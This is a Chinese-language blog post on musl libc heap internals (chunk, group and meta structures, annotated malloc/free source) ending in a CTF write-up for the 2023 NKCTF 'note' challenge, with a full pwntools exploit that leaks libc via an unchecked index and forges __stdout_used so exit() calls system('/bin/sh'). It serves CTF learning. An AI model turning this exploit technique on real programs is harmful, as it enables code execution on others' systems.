musl

文章发布时间:

最后更新时间:

文章总字数:
5.5k

预计阅读时间:
25 分钟

前言

musl是一个轻量型的c标准库 与以往我们一直接触的glibc相比 其只需要一个libc.so文件

image-20230401112932267

并且其源代码远远小于glibc 在近几年的ctf比赛中 偶尔会出现基于musl的堆题 musl的堆题和glibc的堆题可谓是牛马不相干 所以本文将详细介绍

所采取的libc.so版本为1.2.3

1.1.x与1.2.x版本有比较大的改动 需要注意一下

image-20230401113119956

调试环境安装

pwndbg就不需要我说明了 但是由于musl和glibc的结构体索引不同 所以常规的heap和bin指令并不能使用

xf1les师傅有编写一款gdb插件 可以供我们调试musl堆

1
2
git clone https://github.com/xf1les/muslheap.git
echo "source /path/to/muslheap.py" >> ~/.gdbinit

musl源码可以在下面的地址查找下载 并且通过以下指令编译

1
2
https://musl.libc.org/releases/
sudo dpkg -i musl_1.2.2-1_amd64.deb

源码分析

在musl中 有三级结构来管理堆 从小到大为 chunk group meta

先来看chunk的构成

1
2
3
4
5
6
struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
char data[];
};

image-20230401122858010

就用这三个chunk来说明吧 第一个chunk和后面两个chunk都不一样 其首地址存放了一个堆地址 这是因为其上面是group结构 所以和后面的chunk不同

接着蓝框部分就是idx 而红框部分则是offset 这里可以看出UNIT实际上是0x10

1
2
3
4
5
6
7
8
#define UNIT 16
#define IB 4
struct group {
struct meta *meta;
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
unsigned char storage[];// chunks
};

接着是group结构 同一类大小的chunk都会被分配到同一个group中

并且group实际上就是这些chunk内存的总和

image-20230401125443175

例如下面这两个chunk group头就是0xc20和0xc28这0x10大小 红框部分存放的是meta的地址 蓝框部分则是active_idx

表示当前group能存放多少chunk 例如此时是0xe 那么就相当于[0,e]也就是0xf个

接着来看一下meta结构体

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next;//双向链表
struct group *mem;// 这里指向管理的group 地址
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

image-20230401131058527

prev和next是双向链表指针 这里只有这一个meta 就指向其自身

mem则是存放该mata管理的group地址

avail_mask需要转化成二进制形式

1
32764 = 110010011101100100

0表示不可分配 1表示可分配 顺序是从右往左

freed_mask同样需要转化为二进制形式 并且顺序同上 这里为0也就说明group中没有chunk被释放

last_idx表示最多可用的堆块数量 由于是[0,last_idx]所以这里还要加上1 实际上是15

free_able 代表当前meta是否可以被回收 1为可 0为不可

sizeclass则是表示由什么级别的group来管理这些chunk 你可以把其理解为原本glibc中不同size的链表

1
2
3
4
5
6
7
8
9
10
11
12
13
const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

maplen >= 1表示这个meta里的group 是新mmap出来的,长度为多少

maplen =0 表示group 不是新mmap 出来的在size_classes里

也有一个专门管理各个meta的结构体

1
2
3
4
5
6
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

meta_area的地址计算方式如下

1
meta_area_addr = meta & ( -4096 )

image-20230401132407751

image-20230401132444594

check是一串随机生成的数字 用来防止伪造

next是下一个meta_arena的地址 没有则为0

nslots为槽的数量

最后来看一个综合的大结构体 __malloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret;// 和meta_area 头的check 是同一个值 就是校验值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;//是否初始化标记
unsigned mmap_counter;// 记录有多少mmap 的内存的数量
struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表
struct meta *avail_meta;//指向可用meta数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];// 记录着可用的meta
size_t u sage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

image-20230401132709960

接下来的malloc和free源码分析我也是照着看雪的一篇文章学习的 讲的已经很详细了 文章链接贴在这里 我也会复制粘贴进来 方便我自己到时复现

https://bbs.kanxue.com/thread-269533-1.html

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;// 最大申请空间限制
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

if (n >= MMAP_THRESHOLD) {// size >= 阈值 会直接通过mmap 申请空间
size_t needed = n + IB + UNIT; //UNIT 0x10 IB 4 定义在meta.h 里 这里UNIT + IB 是一个基本头的大小
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON, -1, 0);//新mmap group 空间
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) { // 如果申请meta 失败 会把刚刚mmap 出来的group 回收
unlock();
munmap(p, needed);// 回收group
return 0;
}
g->mem = p;// mem = group 地址
g->mem->meta = g; //group 头部 指向meta (g 为 meta)
g->last_idx = 0;//mmap的group last_idx默认值=0
g->freeable = 1;
g->sizeclass = 63; // mmap 的申请的 sizeclass 都为63
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
ctx.mmap_counter++;// mmap 内存记载数量++
idx = 0;
goto success;
}
//否则直接根据传入size,转换成size_classes的对应大小的 下标,
sc = size_to_class(n);

rdlock();
g = ctx.active[sc]; // 从现有的active中取出对应sc 的 meta ,不同sc 对应不同的meta

/*
如果从ctx.active 中没找到对应的meta 会执行下面的if分支
这里!g<=> g==0 ,说明ctx.active[sc] 没有对应的meta
*/
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];// 如果在 ctx.active 没找到 就使用更大size group 的meta
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}

for (;;) {
mask = g ? g->avail_mask : 0;
first = mask&-mask;
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);
/*
如果当前group 不满足就会来到这里:
alloc_slot 从group 中取出对应大小chunk 的idx
这里先从对应sc 的ctx.active[sc] 中找对应的meta的group 有无空闲chunk可以使用
再从队列中其他meta的group 中找
如果队列中其他meta的group 有可利用的chunk,就使用
如果没有就重新分配一个新的group
*/
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];// 取出 sc 对应active meta

success:
ctr = ctx.mmap_counter;
unlock();
return enframe(g, idx, n, ctr);// 从对应meta 中的group 取出 第idx号chunk n = size
}

chunk分配的主要逻辑是下面这个for循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (;;) {
mask = g ? g->avail_mask : 0; //先检查g所指meta是否存在,若存在mask = g->avail_mask
first = mask&-mask; //这里只有mask=0时,first才会为0
if (!first) break; //mask为0,first=0,无可用空闲chunk,跳出循环
if (RDLOCK_IS_EXCLUSIVE || !MT)//如果是排它锁, 那么下面保证成功
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) //成功找到并设置avail_mask之后,continue 后设置idx,然后跳出
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);

跟进一下索引idx的alloc_slot函数

1
2
3
4
5
6
7
8
9
10
11
12
13
static int alloc_slot(int sc, size_t req)
{ // 尝试从限制active 中找到合适可用的
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);

// 如果没找到 重新创造一个meta,然后重新分配一个size大小对应sc的group,给这个新分配的meta
struct meta *g = alloc_group(sc, req);
if (!g) return -1;

g->avail_mask--;
queue(&ctx.active[sc], g); //把新meta 加入队列
return 0;
}

跟进一下try_avail函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static uint32_t try_avail(struct meta **pm)
{
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;
uint32_t mask = m->avail_mask;
if (!mask)//mask = m->avail_mask (!mask) 表示没有可用的chunk了
{
if (!m->freed_mask) // if (!m->freed_mask) <=> 没有已经释放的chunk
{
/*
进入这个分支的条件:既没有可用的chunk,也没有被释放还未回收的chunk,即chunk都被使用,且都没被释放
*/
dequeue(pm, m); // freed_mask==avail_mask=0, group 空间已满 让对应的meta 出队
m = *pm;
if (!m) return 0;
}
/*
这里else表示的是:无可用空闲chunk,但是有已经释放的chunk
!!! free释放的chunk 不能马上被复用的 !!!
*/
else
{
/*
进入这个分支的条件:没有可用的chunk,有被释放还未回收的chunk。
有点好奇这里,如果达成这个条件,然后利用指针互写,修改m->next 伪造的meta,是不是就可以制造fake meta 入队的假象
若meta链表中没有,一般meta 的next和prev 都是指向自己
*/
m = m->next;
*pm = m;
}

mask = m->freed_mask;
// 如果这个meta 的group 只含有一个chunk ,且被释放就跳过,
// 或者 这个meta 的group 根本不能被释放 如mmap 的 group last_idx = 0 freeable=1
if (mask == (2u<<m->last_idx)-1 && m->freeable)
{
m = m->next;
*pm = m;
mask = m->freed_mask;
}

// activate more slots in a not-fully-active group
// if needed, but only as a last resort. prefer using
// any other group with free slots. this avoids
// touching & dirtying as-yet-unused pages.
if (!(mask & ((2u<<m->mem->active_idx)-1)))
{
if (m->next != m)
{ // 如果这个meta 后还有meta 就切换到 下一个meta
m = m->next;
*pm = m;
}
else
{
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
// activate up to next 4k boundary
while ((span^(span+size-1)) < 4096) // 页对齐
{
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}
mask = activate_group(m);// 这里是给 m的 avail_mask 打上标记
assert(mask);
decay_bounces(m-> sizeclass);
}
first = mask&-mask; // 若 mask%2==0 则first =结果是能整除这个偶数的最大的2的幂 若 mask%2==1 则first永远为1
m->avail_mask = mask-first;
return first;
}

上述源码可以总结为下列流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
一、判断是否超过size 阈值

先检查 申请的chunk的 needed size 是否超过最大申请限制
检查申请的needed 是否超过需要mmap 的分配的阈值 超过就用mmap 分配一个group 来给chunk使用
若是mmap 则设置各种标记
二、分配chunk

若申请的chunk 没超过阈值 就从active 队列找管理对应size大小的meta
关于找对应size的meta 这里有两种情况:
如果active 对应size的meta 位置上为空,没找到那么尝试先找size更大的meta

如果active 对应size的meta位置上有对应的meta,尝试从这个meta中的group找到可用的chunk(这里malloc 那个循环:for (;;),

这里不清楚建议看malloc源码分析那里)

如果通过循环里,通过meta->avail_mask 判断当前group 中是否有空闲chunk
有,就直接修改meta->avail_mask,然后利用enframe(g, idx, n, ctr);// 从对应meta 中的group 取出 第idx号chunk分配
无,break 跳出循环
跳出循环后执行idx = alloc_slot(sc, n); alloc_slot有三种分配方式
使用group中被free的chunk
从队列中其他meta的group 中找
如果都不行就重新分配一个新的group 对应一个新的meta
enframe(g, idx, n, ctr) 取出 对应meta 中对应idx 的chunk

和glibc不同的是 musl中chunk有三种状态

image-20230401224722613

从上面的源码也可以看出 是优先查找空闲的chunk 其次才是被释放的chunk

所以被释放的chunk不会立刻回收利用

接下来看一下free函数的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void free(void *p)
{
if (!p) return;

struct meta *g = get_meta(p);// 通过chunk p 用get_meta得到对应的meta
int idx = get_slot_index(p);// 得到对应chunk的 idx
size_t stride = get_stride(g); // 得到sizeclasses 中对应chunk类型的size

unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
//*start = g->mem->storage(得到group中第一个chunk地址) + stride*idx(加上对应chunk偏移);
// start 就为对应p(chunk)的起始地址
// end 对应结束地址

get_nominal_size(p, end);//算出真实大小
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;//设置bitmap 标志
((unsigned char *)p)[-3] = 255;
*(uint16_t *)((char *)p-2) = 0;
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail; // 将释放的chunk 和 现在可用的 chunk 加起来
assert(!(mask&self));
if (!freed || mask+self==all) break;
//!freed 没有被释放的chunk,mask+self==all说明释放了当前chunk所有chunk 都将被回收
// 此group 会被弹出队列
if (!MT)
g->freed_mask = freed+self;// 设置free_mask 表示chunk 被释放
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);// 含有meta 操作 ,内有unlink 是漏洞利用的关键
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
1
2
3
4
5
6
7
8
通过get_meta(p)得到meta (get_meta 是通过chunk 对应的offset 索引到对应的group 再索引到meta) 下面会详细介绍get_meta
通过get_slot_index(p)得到对应chunk的 idx -> 通过get_nominal_size(p, end) 算出真实大小
重置idx 和 offset idx 被置为0xff 标记chunk
修改freed_mask 标记chunk被释放
最后调用nontrivial_free 完成关于meta一些剩余操作 (注意进入nontrivial_free 是在for循环外 还未设置)
释放chunk的时候,先只会修改freed_mask,不会修改avail_mask,说明chunk 在释放后,不会立即被复用
注意进入nontrivial_free 是在for循环外 还未设置freed_mask 跳出循环的条件是 if (!freed || mask+self==all) break;
free 中chunk 的起始位置可以通过 chunk的idx 定位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);// 得到chunk offset
int index = p[-3] & 31;;// 得到chunk idx
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);// 通过offset 和chunk 地址计算出group地址
const struct meta *meta = base->meta;// 从group 得到 meta 地址
assert(meta->mem == base);// 检查meta 是否指向对应的group
assert(index <= meta->last_idx);// 检查chunk idx 是否超过 meta 最大chunk 容量
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);// 得到meta_area 地址
assert(area->check == ctx.secret);// 检查 check 校验值
if (meta->sizeclass < 48) { // 如果属于 sizeclasses 管理的chunk 大小
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct mapinfo nontrivial_free(struct meta *g, int i)// i = idx
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;//mask=已经被free的chunk +可使用的chunk
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g))
{ /*
如果 mask+self == (2u<<g->last_idx)-1 代表此meta中group里的chunk 都被释放 或者 都被用了
(2u<<g->last_idx)-1 计算出的值化成二进制,其中每位含义类似于bitmap,如果每位为1表每位要不是被free 不然就是被
okay_to_free 检测是否可以被释放

*/
if (g->next)
{ // 如果队列中 有下一个meta
assert(sc < 48);// 检测 sc 是不是mmap 分配的
// 检测当前meta g 和 队列里的active[sc] meta 是否一样,一样则activate_new赋值为1
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);// 当前meta 出队

// 在出队操作后 ,ctx.active[sc]==meta ->next 是指的刚刚出队meta 的下一个meta
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);//如果有下一个meta 直接激活 然后修改avail_mask 标志位
}
return free_group(g);
}
else if (!mask)
{// mask==0 group chunk 空间已被完全使用
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {// 如果 g 未被加入 队列ctx.ative[sc]
queue(&ctx.active[sc], g);// 把g 加入队列
}
}
a_or(&g->freed_mask, self);// 修改对应 的freed_mask 标志 ,表示着对应的chunk 已被释放
return (struct mapinfo){ 0 };
}

nontrivial_free函数中调用了一个关键的函数 dequeue

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next; // 这里存在指针互写 在 prev 所指地址上 写入next 指针
m->next->prev = m->prev; // 在next 所指地址上 写入prev 指针
if (*phead == m) *phead = m->next;// 队列头如果为m 那就更新为m->next
} else {
*phead = 0;
}
m->prev = m->next = 0; // 清理m(meta)的头尾指针
}

其原本的作用是prev和next指针互写 用于一个meta出队时

meta什么时候会出队 当其所有的chunk都被释放或者都处于空闲状态 就会出队

2023NKCTF note

说那么多也无聊死了 直接上题目! 先来一题简单的

image-20230401231443074

image-20230401231455574

代码太长了就不放了 简单介绍一下 给了四个函数

add 可以申请任意大小的chunk

edit 同时可以堆溢出

show 可以打印出chunk的地址

delete函数 置零了指针 不存在UAF

但是其对于index并没有检测 所以这个index实际上可以为任意数 我们可以对ptr数组附近的区域进行任意写

不过 首要的任务还是泄露libc基址 来看看musl的堆题要如何泄露libc基址

我们先申请一个0xc大小的chunk

image-20230401232123815

然后再申请一个0x1c大小的chunk

image-20230402114652687

你会发现第二个chunk竟然分配到的是libc地址上

这是因为在malloc第二个chunk的时候 如果没有找到合适的空闲chunk或者是被释放的chunk 就会分配一个新的group

1
struct meta *g = alloc_group(sc, req);

而分配出来的这个group就位于libc地址上

相关的可以自己跟着源码动调看看(虽然我自己调了也还是不知道为啥有的分配到了堆地址 有的分配到了libc地址)

image-20230402120435777

接下来再看题目 这里对于我们输入的v5没有进行任何的限制 也就是说我们可以输出ptr数组后的地址其指向的内容

image-20230402120710891

此时chunk0和ptr数组相较来说比较接近 所以只要我们将chunk0的内容编辑成chunk1的meta chunk1的meta中有存储着chunk1的地址 这样就能泄露出libc地址了

image-20230402120816031

那么首先就是要泄露出堆地址

计算一下chunk0和ptr数组的偏移 随后泄露出chunk0的meta地址 计算一下和chunk1的meta的偏移

随后将chunk1的meta地址存放到chunk0上

show泄露出libc地址

1
2
3
4
5
6
7
8
9
10
11
add(0,0xc,b'aaaa')
add(1,0x1c,b'aaaa')
show(0x570)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x2e8
success("heap_addr :"+hex(heap_addr))
chunk1_addr = heap_addr+0x320
edit(0,8,p64(chunk1_addr))
show(0x572)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7fccb8f39d10-0x7fccb8e9e000)
success("libc_addr :"+hex(libc_addr))
debug()

接下来难点在于说如何获取shell 在glibc中最常见的做法是覆盖hook函数 但是musl可没有这些东西 所以我们只能采用伪造io_file结构体

我们来看一下exit函数的调用链

1
2
3
4
5
6
7
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}

跟进一下__stdio_exit函数

1
2
3
4
5
6
7
8
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

可以看到在最后利用close_file操作了三个file结构体

我们选择利用__stdout_used 先在gdb中查看一下其构成

image-20230402131457137

1
2
3
4
5
6
7
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

当f->wpos != f->wbase成立时 就会调用f->write 并且将f起始的作为rdi寄存器

也就是说我们需要伪造_stout_file 并且有四个地方需要注意 也就是构造成下面这个样子

1
fake_stdout_file = '/bin/sh\x00'.ljust(0x38,'\x00') + p64(1) + p64(0) + p64(system)

并且把可控地址写入到__stdout_used中 这里的可控地址当然是一个chunk了

不过经过我自己实验 musl中堆的分配好像和glibc不一样 所以这里的chunk必须和chunk1一样是在libc地址中的 这样才能保证偏移正确

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("ctf.comentropy.cn",8301)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
libc = ELF("./libc.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size,content):
io.recvuntil("your choice: ")
io.sendline(b'1')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)

def edit(index,size,content):
io.recvuntil("your choice: ")
io.sendline(b'2')
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.send(content)

def delete(index):
io.recvuntil("your choice: ")
io.sendline(b'3')
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil("your choice: ")
io.sendline(b'4')
io.recvuntil("Index: ")
io.sendline(str(index))

add(0,0xc,b'aaaa')
add(1,0x1c,b'aaaa')
show(0x570)
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x2e8
success("heap_addr :"+hex(heap_addr))
chunk1_addr = heap_addr+0x320
edit(0,8,p64(chunk1_addr))
show(0x572)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7fccb8f39d10-0x7fccb8e9e000)
success("libc_addr :"+hex(libc_addr))
__stdout_used = libc_addr + libc.sym['__stdout_used']
system_addr = libc_addr + libc.sym['system']
fake_file = b'/bin/sh\x00'.ljust(0x38,b'\x00')+p64(1)+p64(0)+p64(system_addr)
add(2,0x500,fake_file)
edit(0,8,p64(__stdout_used))
fakechunk_addr = libc_addr + (0x7f081beb5020-0x7f081beb6000)
success("fakechunk_addr :"+hex(fakechunk_addr))
edit(0x572,8,p64(fakechunk_addr))
io.recvuntil("your choice: ")
io.sendline(b'5')
io.interactive()